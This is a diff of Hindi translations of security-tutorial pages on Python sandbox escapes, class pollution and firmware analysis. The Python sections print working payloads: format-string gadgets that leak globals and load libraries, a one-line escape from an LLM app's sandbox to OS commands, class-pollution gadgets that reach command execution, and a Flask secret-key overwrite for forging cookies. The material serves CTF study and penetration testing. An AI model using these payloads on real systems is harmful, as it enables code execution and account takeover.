builtins तक पहुँचने के लिए पिछले उदाहरणों का उपयोग कर सकते हैं। +यदि आप **python** को एक **string** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरण के लिए globals या builtins तक पहुँचने के लिए पिछले उदाहरणों का उपयोग कर सकते हैं। ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -682,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -ध्यान दें कि आप **attributes** को सामान्य तरीके से **dot** के साथ `people_obj.__init__` और **dict element** को **parenthesis** के साथ बिना कोट्स के `__globals__[CONFIG]` से **access** कर सकते हैं। +ध्यान दें कि आप **attributes** को सामान्य तरीके से **dot** के साथ `people_obj.__init__` और **dict element** को **parenthesis** के साथ बिना कोट्स के `__globals__[CONFIG]` से एक्सेस कर सकते हैं। यह भी ध्यान दें कि आप `.__dict__` का उपयोग करके एक ऑब्जेक्ट के तत्वों को सूचीबद्ध कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`। @@ -705,7 +705,8 @@ return 'HAL 9000' **अधिक उदाहरण** **फॉर्मेट** **स्ट्रिंग** उदाहरणों के बारे में [**https://pyformat.info/**](https://pyformat.info) पर पाया जा सकता है। > [!CAUTION] -> कृपया संवेदनशील जानकारी पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की भी जांच करें **Python आंतरिक वस्तुओं से**: +> संवेदनशील जानकारी को पढ़ने के लिए गैजेट्स के लिए निम्नलिखित पृष्ठ की भी जांच करें **Python आंतरिक वस्तुओं** से: + {{#ref}} ../python-internal-read-gadgets.md @@ -727,11 +728,11 @@ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` -### LLM Jails bypass +### LLM Jails बायपास From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### From format to RCE loading libraries +### फ़ॉर्मेट से RCE लोडिंग लाइब्रेरीज़ According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python. @@ -768,14 +769,14 @@ pydll = LibraryLoader(PyDLL) ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -चुनौती वास्तव में सर्वर में एक और कमजोरियों का दुरुपयोग करती है जो सर्वर के डिस्क में मनमाने फ़ाइलें बनाने की अनुमति देती है। +चुनौती वास्तव में सर्वर में एक और कमजोरियों का दुरुपयोग करती है जो सर्वर की डिस्क में मनमाने फ़ाइलें बनाने की अनुमति देती है। ## Python ऑब्जेक्ट्स का विश्लेषण -> [!NOTE] +> [!TIP] > यदि आप **python bytecode** के बारे में गहराई से **सीखना** चाहते हैं तो इस विषय पर इस **शानदार** पोस्ट को पढ़ें: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -कुछ CTFs में आपको एक **कस्टम फ़ंक्शन का नाम** दिया जा सकता है जहाँ **फ्लैग** स्थित है और आपको इसे निकालने के लिए **फ़ंक्शन** के **आंतरिक** को देखना होगा। +कुछ CTFs में आपको **कस्टम फ़ंक्शन का नाम** दिया जा सकता है जहाँ **फ्लैग** स्थित है और आपको इसे निकालने के लिए **फ़ंक्शन** के **आंतरिक** विवरण को देखना होगा। यह निरीक्षण करने के लिए फ़ंक्शन है: ```python @@ -870,7 +871,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **एक फ़ंक्शन का डिसअस्सेम्बली** +### **एक फ़ंक्शन का डिसएसेंबली** ```python import dis dis.dis(get_flag) @@ -936,9 +937,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### कोड ऑब्जेक्ट बनाना +### Creating the code object -सबसे पहले, हमें यह जानने की आवश्यकता है **कोड ऑब्जेक्ट कैसे बनाएं और निष्पादित करें** ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे: +सबसे पहले, हमें यह जानने की आवश्यकता है **कि कोड ऑब्जेक्ट कैसे बनाया और निष्पादित किया जाता है** ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे जो लीक हुआ है: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -957,7 +958,7 @@ mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` -> [!NOTE] +> [!TIP] > python के संस्करण के आधार पर `code_type` के **parameters** का **विभिन्न क्रम** हो सकता है। जिस python संस्करण को आप चला रहे हैं, उसमें params के क्रम को जानने का सबसे अच्छा तरीका है: > > ``` @@ -969,7 +970,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ### एक लीक हुई फ़ंक्शन को फिर से बनाना > [!WARNING] -> निम्नलिखित उदाहरण में, हम सीधे फ़ंक्शन कोड ऑब्जेक्ट से फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक करने की आवश्यकता होगी**। +> निम्नलिखित उदाहरण में, हम सीधे फ़ंक्शन कोड ऑब्जेक्ट से फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक** करने की आवश्यकता होगी। ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -982,10 +983,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Bypass Defenses -In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट्स** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी यही कर सकते हैं).\ -खैर, कभी-कभी यह **स्थानीय मशीन** में एक **संकलित ऑब्जेक्ट** **बनाने** और इसे **CTF मशीन** में निष्पादित करने के लिए उपयोगी हो सकता है (उदाहरण के लिए क्योंकि हमारे पास CTF में `compiled` फ़ंक्शन नहीं है). +In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूर्ण स्क्रिप्ट्स** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी वही कर सकते हैं).\ +खैर, कभी-कभी यह उपयोगी हो सकता है **एक** **संकलित ऑब्जेक्ट** को स्थानीय मशीन में **बनाना** और इसे **CTF मशीन** में निष्पादित करना (उदाहरण के लिए क्योंकि हमारे पास CTF में `compiled` फ़ंक्शन नहीं है). -For example, let's compile and execute manually a function that reads _./poc.py_: +उदाहरण के लिए, चलिए एक फ़ंक्शन को मैन्युअल रूप से संकलित और निष्पादित करते हैं जो _./poc.py_ को पढ़ता है: ```python #Locally def read(): @@ -1012,7 +1013,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -यदि आप `eval` या `exec` तक पहुँच नहीं सकते हैं, तो आप एक **सही फ़ंक्शन** बना सकते हैं, लेकिन इसे सीधे कॉल करना आमतौर पर _constructor restricted mode में उपलब्ध नहीं है_ के साथ विफल हो जाएगा। इसलिए आपको इस फ़ंक्शन को कॉल करने के लिए **एक फ़ंक्शन चाहिए जो प्रतिबंधित वातावरण में न हो।** +यदि आप `eval` या `exec` तक पहुँच नहीं सकते हैं, तो आप एक **सही फ़ंक्शन** बना सकते हैं, लेकिन इसे सीधे कॉल करना आमतौर पर _constructor restricted mode में उपलब्ध नहीं है_ के साथ विफल हो जाएगा। इसलिए आपको इस फ़ंक्शन को कॉल करने के लिए **restricted environment में नहीं होने वाला फ़ंक्शन** चाहिए। ```python #Compile a regular print ftype = type(lambda: None) @@ -1020,21 +1021,22 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## Decompiling Compiled Python +## संकलित पायथन को डिकंपाइल करना -Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code. +उपकरणों का उपयोग करते हुए जैसे कि [**https://www.decompiler.com/**](https://www.decompiler.com) कोई दिए गए संकलित पायथन कोड को **डिकंपाइल** कर सकता है। + +**इस ट्यूटोरियल को देखें**: -**Check out this tutorial**: {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## Misc Python +## विविध पायथन -### Assert +### एसेर्ट -Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\ +पायथन को ऑप्टिमाइजेशन के साथ `-O` पैरामीटर के साथ निष्पादित करने पर एसेर्ट स्टेटमेंट और **debug** के मान पर आधारित कोई भी कोड हटा दिया जाएगा।\ इसलिए, जाँचें जैसे ```python def check_permission(super_user): diff --git a/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md b/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md index 5365b1009..7fe56e1d4 100644 --- a/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md +++ b/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md @@ -1,10 +1,10 @@ -# क्लास प्रदूषण (Python का प्रोटोटाइप प्रदूषण) +# Class Pollution (Python's Prototype Pollution) {{#include ../../banners/hacktricks-training.md}} -## बुनियादी उदाहरण +## Basic Example -जांचें कि कैसे स्ट्रिंग्स के साथ ऑब्जेक्ट्स की क्लासेस को प्रदूषित करना संभव है: +जांचें कि कैसे वस्तुओं की कक्षाओं को स्ट्रिंग्स के साथ प्रदूषित करना संभव है: ```python class Company: pass class Developer(Company): pass @@ -61,11 +61,11 @@ USER_INPUT = { merge(USER_INPUT, emp) print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}} ``` -## गैजेट उदाहरण +## Gadget Examples
-क्लास प्रॉपर्टी डिफ़ॉल्ट मान को RCE (सबप्रोसेस) में बनाना +क्लास प्रॉपर्टी डिफ़ॉल्ट मान को RCE (सबप्रोसेस) बनाने ```python from os import popen class Employee: pass # Creating an empty class @@ -180,9 +180,9 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
-Overwritting __kwdefaults__ +ओवरराइटिंग __kwdefaults__ -**`__kwdefaults__`** सभी फ़ंक्शनों का एक विशेष गुण है, जो Python [documentation](https://docs.python.org/3/library/inspect.html) के आधार पर, यह “**कीवर्ड-केवल** पैरामीटर के लिए किसी भी डिफ़ॉल्ट मान का मैपिंग” है। इस गुण को प्रदूषित करना हमें एक फ़ंक्शन के कीवर्ड-केवल पैरामीटर के डिफ़ॉल्ट मानों को नियंत्रित करने की अनुमति देता है, ये फ़ंक्शन के पैरामीटर हैं जो \* या \*args के बाद आते हैं। +**`__kwdefaults__`** सभी फ़ंक्शनों का एक विशेष गुण है, जो Python [documentation](https://docs.python.org/3/library/inspect.html) पर आधारित है, यह “**कीवर्ड-केवल** पैरामीटर के लिए किसी भी डिफ़ॉल्ट मान का मैपिंग” है। इस गुण को प्रदूषित करना हमें एक फ़ंक्शन के कीवर्ड-केवल पैरामीटर के डिफ़ॉल्ट मानों को नियंत्रित करने की अनुमति देता है, ये फ़ंक्शन के पैरामीटर हैं जो \* या \*args के बाद आते हैं। ```python from os import system import json @@ -225,24 +225,25 @@ execute() #> Executing echo Polluted फाइलों के बीच Flask गुप्त को ओवरराइट करना -तो, यदि आप वेब के मुख्य पायथन फ़ाइल में परिभाषित एक ऑब्जेक्ट पर एक क्लास प्रदूषण कर सकते हैं लेकिन **जिसकी क्लास मुख्य फ़ाइल से अलग फ़ाइल में परिभाषित है**। क्योंकि पिछले पेलोड में \_\_globals\_\_ तक पहुँचने के लिए आपको ऑब्जेक्ट की क्लास या क्लास के तरीकों तक पहुँचने की आवश्यकता है, आप **उस फ़ाइल में ग्लोबल्स तक पहुँच पाएंगे, लेकिन मुख्य फ़ाइल में नहीं**। \ -इसलिए, आप **Flask ऐप के ग्लोबल ऑब्जेक्ट तक पहुँचने में असमर्थ होंगे** जिसने मुख्य पृष्ठ पर **गुप्त कुंजी** को परिभाषित किया: +तो, यदि आप मुख्य पायथन फ़ाइल में परिभाषित एक ऑब्जेक्ट पर क्लास प्रदूषण कर सकते हैं लेकिन **जिसकी क्लास एक अलग फ़ाइल में परिभाषित है** मुख्य फ़ाइल से। क्योंकि पिछले पेलोड में \_\_globals\_\_ तक पहुँचने के लिए आपको ऑब्जेक्ट की क्लास या क्लास के तरीकों तक पहुँचने की आवश्यकता है, आप **उस फ़ाइल में ग्लोबल्स तक पहुँच पाएंगे, लेकिन मुख्य फ़ाइल में नहीं**। \ +इसलिए, आप **Flask ऐप ग्लोबल ऑब्जेक्ट** तक पहुँचने में असमर्थ होंगे जिसने मुख्य पृष्ठ पर **गुप्त कुंजी** को परिभाषित किया: ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` -इस परिदृश्य में, आपको फ़ाइलों को पार करने के लिए एक गैजेट की आवश्यकता है ताकि मुख्य फ़ाइल तक पहुँच सकें और **वैश्विक ऑब्जेक्ट `app.secret_key`** तक पहुँच सकें ताकि Flask गुप्त कुंजी को बदल सकें और इस कुंजी को जानकर [**अधिकार बढ़ा सकें**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). +इस परिदृश्य में, आपको फ़ाइलों को पार करने के लिए एक गैजेट की आवश्यकता है ताकि मुख्य फ़ाइल तक पहुँच सकें और **वैश्विक ऑब्जेक्ट `app.secret_key`** तक पहुँच सकें ताकि Flask गुप्त कुंजी को बदल सकें और इस कुंजी को जानकर [**अधिकार बढ़ा सकें**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)। इस तरह का एक पेलोड [इस लेख से](https://ctftime.org/writeup/36082): ```python __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key ``` -इस पेलोड का उपयोग करें **`app.secret_key`** (आपके ऐप में नाम अलग हो सकता है) को बदलने के लिए ताकि नए और अधिक विशेषाधिकार प्राप्त फ्लास्क कुकीज़ पर हस्ताक्षर किया जा सके। +इस पेलोड का उपयोग करें **`app.secret_key`** को बदलने के लिए (आपके ऐप में नाम अलग हो सकता है) ताकि नए और अधिक विशेषाधिकार प्राप्त फ्लास्क कुकीज़ पर हस्ताक्षर किया जा सके।
अधिक पढ़ने के लिए निम्नलिखित पृष्ठ को भी देखें: + {{#ref}} python-internal-read-gadgets.md {{#endref}} diff --git a/src/hardware-physical-access/firmware-analysis/README.md b/src/hardware-physical-access/firmware-analysis/README.md index 547644ec9..9103a6c8c 100644 --- a/src/hardware-physical-access/firmware-analysis/README.md +++ b/src/hardware-physical-access/firmware-analysis/README.md @@ -4,17 +4,19 @@ ## **Introduction** -### Related resources +### संबंधित संसाधन + {{#ref}} synology-encrypted-archive-decryption.md {{#endref}} -Firmware एक आवश्यक सॉफ़्टवेयर है जो उपकरणों को सही ढंग से कार्य करने में सक्षम बनाता है, हार्डवेयर घटकों और उपयोगकर्ताओं के साथ बातचीत करने वाले सॉफ़्टवेयर के बीच संचार को प्रबंधित और सुविधाजनक बनाता है। इसे स्थायी मेमोरी में संग्रहीत किया जाता है, यह सुनिश्चित करते हुए कि उपकरण चालू होने के क्षण से महत्वपूर्ण निर्देशों तक पहुँच सकता है, जो ऑपरेटिंग सिस्टम के लॉन्च की ओर ले जाता है। फर्मवेयर की जांच करना और संभावित रूप से इसे संशोधित करना सुरक्षा कमजोरियों की पहचान में एक महत्वपूर्ण कदम है। -## **Gathering Information** +Firmware एक आवश्यक सॉफ़्टवेयर है जो उपकरणों को सही ढंग से कार्य करने में सक्षम बनाता है, हार्डवेयर घटकों और उस सॉफ़्टवेयर के बीच संचार को प्रबंधित और सुविधाजनक बनाता है, जिससे उपयोगकर्ता इंटरैक्ट करते हैं। यह स्थायी मेमोरी में संग्रहीत होता है, यह सुनिश्चित करते हुए कि उपकरण को चालू होने के क्षण से महत्वपूर्ण निर्देशों तक पहुंच मिल सके, जो ऑपरेटिंग सिस्टम के लॉन्च की ओर ले जाता है। Firmware का परीक्षण और संभावित रूप से संशोधन करना सुरक्षा कमजोरियों की पहचान में एक महत्वपूर्ण कदम है। -**Gathering information** एक महत्वपूर्ण प्रारंभिक कदम है जो एक उपकरण की संरचना और इसके द्वारा उपयोग की जाने वाली तकनीकों को समझने में मदद करता है। इस प्रक्रिया में निम्नलिखित डेटा एकत्र करना शामिल है: +## **जानकारी इकट्ठा करना** + +**जानकारी इकट्ठा करना** एक उपकरण की संरचना और इसके द्वारा उपयोग की जाने वाली तकनीकों को समझने में एक महत्वपूर्ण प्रारंभिक कदम है। इस प्रक्रिया में निम्नलिखित डेटा एकत्र करना शामिल है: - CPU आर्किटेक्चर और जिस ऑपरेटिंग सिस्टम पर यह चलता है - बूटलोडर की विशिष्टताएँ @@ -25,27 +27,27 @@ Firmware एक आवश्यक सॉफ़्टवेयर है जो - आर्किटेक्चरल और फ्लो डायग्राम - सुरक्षा आकलन और पहचानी गई कमजोरियाँ -इस उद्देश्य के लिए, **open-source intelligence (OSINT)** उपकरण अमूल्य हैं, जैसे कि उपलब्ध ओपन-सोर्स सॉफ़्टवेयर घटकों का मैनुअल और स्वचालित समीक्षा प्रक्रियाओं के माध्यम से विश्लेषण। [Coverity Scan](https://scan.coverity.com) और [Semmle’s LGTM](https://lgtm.com/#explore) जैसे उपकरण संभावित मुद्दों को खोजने के लिए मुफ्त स्थैतिक विश्लेषण प्रदान करते हैं। +इस उद्देश्य के लिए, **ओपन-सोर्स इंटेलिजेंस (OSINT)** उपकरण अमूल्य हैं, जैसे कि उपलब्ध ओपन-सोर्स सॉफ़्टवेयर घटकों का मैनुअल और स्वचालित समीक्षा प्रक्रियाओं के माध्यम से विश्लेषण। [Coverity Scan](https://scan.coverity.com) और [Semmle’s LGTM](https://lgtm.com/#explore) जैसे उपकरण मुफ्त स्थैतिक विश्लेषण प्रदान करते हैं, जिसका उपयोग संभावित मुद्दों को खोजने के लिए किया जा सकता है। -## **Acquiring the Firmware** +## **Firmware प्राप्त करना** -फर्मवेयर प्राप्त करने के लिए विभिन्न तरीकों का उपयोग किया जा सकता है, प्रत्येक की अपनी जटिलता का स्तर है: +Firmware प्राप्त करने के लिए विभिन्न तरीकों का उपयोग किया जा सकता है, प्रत्येक की अपनी जटिलता का स्तर है: -- **Directly** स्रोत (डेवलपर्स, निर्माताओं) से -- **Building** इसे प्रदान की गई निर्देशों से -- **Downloading** आधिकारिक समर्थन साइटों से -- होस्ट किए गए फर्मवेयर फ़ाइलों को खोजने के लिए **Google dork** क्वेरी का उपयोग करना -- **cloud storage** तक सीधे पहुँच प्राप्त करना, जैसे कि [S3Scanner](https://github.com/sa7mon/S3Scanner) जैसे उपकरणों के साथ -- मैन-इन-द-मिडिल तकनीकों के माध्यम से **updates** को इंटरसेप्ट करना -- **Extracting** उपकरण से कनेक्शनों के माध्यम से जैसे **UART**, **JTAG**, या **PICit** -- उपकरण संचार के भीतर अपडेट अनुरोधों के लिए **Sniffing** -- **hardcoded update endpoints** की पहचान करना और उनका उपयोग करना -- बूटलोडर या नेटवर्क से **Dumping** -- जब सब कुछ विफल हो जाए, तो उचित हार्डवेयर उपकरणों का उपयोग करके स्टोरेज चिप को **Removing and reading** +- **प्रत्यक्ष रूप से** स्रोत से (डेवलपर्स, निर्माताओं) +- **निर्देशों** से इसे **बनाना** +- आधिकारिक समर्थन साइटों से **डाउनलोड करना** +- होस्ट किए गए firmware फ़ाइलों को खोजने के लिए **Google dork** क्वेरी का उपयोग करना +- [S3Scanner](https://github.com/sa7mon/S3Scanner) जैसे उपकरणों के साथ **क्लाउड स्टोरेज** तक सीधे पहुंचना +- मैन-इन-द-मिडिल तकनीकों के माध्यम से **अपडेट** को इंटरसेप्ट करना +- **UART**, **JTAG**, या **PICit** जैसे कनेक्शनों के माध्यम से उपकरण से **निकालना** +- उपकरण संचार के भीतर अपडेट अनुरोधों के लिए **स्निफ़िंग** +- **हार्डकोडेड अपडेट एंडपॉइंट्स** की पहचान और उपयोग करना +- बूटलोडर या नेटवर्क से **डंपिंग** +- जब सब कुछ विफल हो जाए, तो उचित हार्डवेयर उपकरणों का उपयोग करके स्टोरेज चिप को **हटाना और पढ़ना** -## Analyzing the firmware +## Firmware का विश्लेषण करना -अब जब आपके पास **फर्मवेयर** है, तो आपको इसके बारे में जानकारी निकालने की आवश्यकता है ताकि आप जान सकें कि इसे कैसे संभालना है। इसके लिए आप विभिन्न उपकरणों का उपयोग कर सकते हैं: +अब जब आपके पास **firmware है**, तो आपको इसके बारे में जानकारी निकालने की आवश्यकता है ताकि आप जान सकें कि इसे कैसे संभालना है। इसके लिए आप विभिन्न उपकरणों का उपयोग कर सकते हैं: ```bash file strings -n8 @@ -54,7 +56,7 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header fdisk -lu #lists a drives partition and filesystems if multiple ``` -यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E ` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभावना नहीं है कि यह एन्क्रिप्टेड है। यदि entropy उच्च है, तो यह संभावना है कि यह एन्क्रिप्टेड है (या किसी न किसी तरीके से संकुचित है)। +यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E ` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभावना नहीं है कि यह एन्क्रिप्टेड है। यदि entropy उच्च है, तो यह संभावना है कि यह एन्क्रिप्टेड (या किसी तरह से संकुचित) है। इसके अलावा, आप इन उपकरणों का उपयोग **फर्मवेयर के अंदर एम्बेडेड फ़ाइलों** को निकालने के लिए कर सकते हैं: @@ -71,7 +73,7 @@ Binwalk आमतौर पर इसे **फाइल सिस्टम प #### मैनुअल फ़ाइल सिस्टम निष्कर्षण -कभी-कभी, binwalk के पास **फाइल सिस्टम के जादुई बाइट्स अपने हस्ताक्षरों में नहीं होते हैं**। इन मामलों में, binwalk का उपयोग करके **फाइल सिस्टम का ऑफसेट खोजें और बाइनरी से संकुचित फाइल सिस्टम को काटें** और नीचे दिए गए चरणों का उपयोग करके इसके प्रकार के अनुसार **मैन्युअल रूप से फाइल सिस्टम निकालें**। +कभी-कभी, binwalk के पास **फाइल सिस्टम के जादुई बाइट्स इसके सिग्नेचर में नहीं होते हैं**। इन मामलों में, binwalk का उपयोग करें **फाइल सिस्टम के ऑफसेट को खोजने और बाइनरी से संकुचित फाइल सिस्टम को काटने** के लिए और नीचे दिए गए चरणों का उपयोग करके इसके प्रकार के अनुसार **मैन्युअल रूप से फाइल सिस्टम निकालें**। ``` $ binwalk DIR850L_REVB.bin @@ -119,7 +121,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs ## फर्मवेयर का विश्लेषण -एक बार फर्मवेयर प्राप्त हो जाने के बाद, इसकी संरचना और संभावित कमजोरियों को समझने के लिए इसे विश्लेषित करना आवश्यक है। इस प्रक्रिया में फर्मवेयर छवि से मूल्यवान डेटा का विश्लेषण और निकालने के लिए विभिन्न उपकरणों का उपयोग करना शामिल है। +एक बार फर्मवेयर प्राप्त हो जाने के बाद, इसकी संरचना और संभावित कमजोरियों को समझने के लिए इसे विश्लेषित करना आवश्यक है। इस प्रक्रिया में फर्मवेयर इमेज से मूल्यवान डेटा का विश्लेषण और निकालने के लिए विभिन्न उपकरणों का उपयोग करना शामिल है। ### प्रारंभिक विश्लेषण उपकरण @@ -134,17 +136,17 @@ fdisk -lu #lists partitions and filesystems, if there are multiple ``` इमेज के एन्क्रिप्शन स्थिति का आकलन करने के लिए, **entropy** को `binwalk -E ` के साथ चेक किया जाता है। कम एंट्रॉपी एन्क्रिप्शन की कमी का सुझाव देती है, जबकि उच्च एंट्रॉपी संभावित एन्क्रिप्शन या संकुचन को इंगित करती है। -**Embedded files** को निकालने के लिए, **file-data-carving-recovery-tools** दस्तावेज़ और फ़ाइल निरीक्षण के लिए **binvis.io** जैसे उपकरण और संसाधनों की सिफारिश की जाती है। +**Embedded files** को निकालने के लिए, **file-data-carving-recovery-tools** दस्तावेज़ और फ़ाइल निरीक्षण के लिए **binvis.io** जैसे उपकरणों और संसाधनों की सिफारिश की जाती है। ### फ़ाइल सिस्टम निकालना -`binwalk -ev ` का उपयोग करके, आमतौर पर फ़ाइल सिस्टम को निकाला जा सकता है, अक्सर एक निर्देशिका में जिसका नाम फ़ाइल सिस्टम प्रकार (जैसे, squashfs, ubifs) के नाम पर होता है। हालाँकि, जब **binwalk** जादुई बाइट्स की कमी के कारण फ़ाइल सिस्टम प्रकार को पहचानने में विफल रहता है, तो मैनुअल निकासी आवश्यक होती है। इसमें फ़ाइल सिस्टम के ऑफसेट को खोजने के लिए `binwalk` का उपयोग करना शामिल है, इसके बाद फ़ाइल सिस्टम को काटने के लिए `dd` कमांड का उपयोग किया जाता है: +`binwalk -ev ` का उपयोग करके, आमतौर पर फ़ाइल सिस्टम को निकाला जा सकता है, अक्सर एक निर्देशिका में जिसका नाम फ़ाइल सिस्टम प्रकार (जैसे, squashfs, ubifs) के नाम पर होता है। हालाँकि, जब **binwalk** जादुई बाइट्स की कमी के कारण फ़ाइल सिस्टम प्रकार को पहचानने में विफल रहता है, तो मैनुअल निकासी आवश्यक होती है। इसमें फ़ाइल सिस्टम के ऑफसेट को खोजने के लिए `binwalk` का उपयोग करना शामिल है, इसके बाद फ़ाइल सिस्टम को निकालने के लिए `dd` कमांड का उपयोग किया जाता है: ```bash $ binwalk DIR850L_REVB.bin $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs ``` -इसके बाद, फ़ाइल सिस्टम प्रकार (जैसे, squashfs, cpio, jffs2, ubifs) के आधार पर, सामग्री को मैन्युअल रूप से निकालने के लिए विभिन्न कमांड का उपयोग किया जाता है। +उसके बाद, फ़ाइल सिस्टम प्रकार (जैसे, squashfs, cpio, jffs2, ubifs) के आधार पर, सामग्री को मैन्युअल रूप से निकालने के लिए विभिन्न कमांड का उपयोग किया जाता है। ### फ़ाइल सिस्टम विश्लेषण @@ -161,16 +163,16 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs कई उपकरण फ़ाइल सिस्टम के भीतर संवेदनशील जानकारी और कमजोरियों को उजागर करने में मदद करते हैं: - [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) और [**Firmwalker**](https://github.com/craigz28/firmwalker) संवेदनशील जानकारी खोजने के लिए -- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) व्यापक फ़र्मवेयर विश्लेषण के लिए -- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थैतिक और गतिशील विश्लेषण के लिए +- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) व्यापक फर्मवेयर विश्लेषण के लिए +- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थिर और गतिशील विश्लेषण के लिए ### संकलित बाइनरीज़ पर सुरक्षा जांच फ़ाइल सिस्टम में पाए गए स्रोत कोड और संकलित बाइनरीज़ की कमजोरियों के लिए जांच करनी चाहिए। **checksec.sh** जैसे उपकरण Unix बाइनरीज़ के लिए और **PESecurity** Windows बाइनरीज़ के लिए उन असुरक्षित बाइनरीज़ की पहचान करने में मदद करते हैं जिन्हें शोषित किया जा सकता है। -## गतिशील विश्लेषण के लिए फ़र्मवेयर का अनुकरण +## गतिशील विश्लेषण के लिए फर्मवेयर का अनुकरण -फ़र्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को सक्षम बनाती है, चाहे वह किसी डिवाइस का संचालन हो या एक व्यक्तिगत प्रोग्राम। इस दृष्टिकोण में हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियाँ आ सकती हैं, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलती-जुलती आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि Raspberry Pi, या पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है। +फर्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को एक डिवाइस के संचालन या एक व्यक्तिगत प्रोग्राम के लिए सक्षम बनाती है। यह 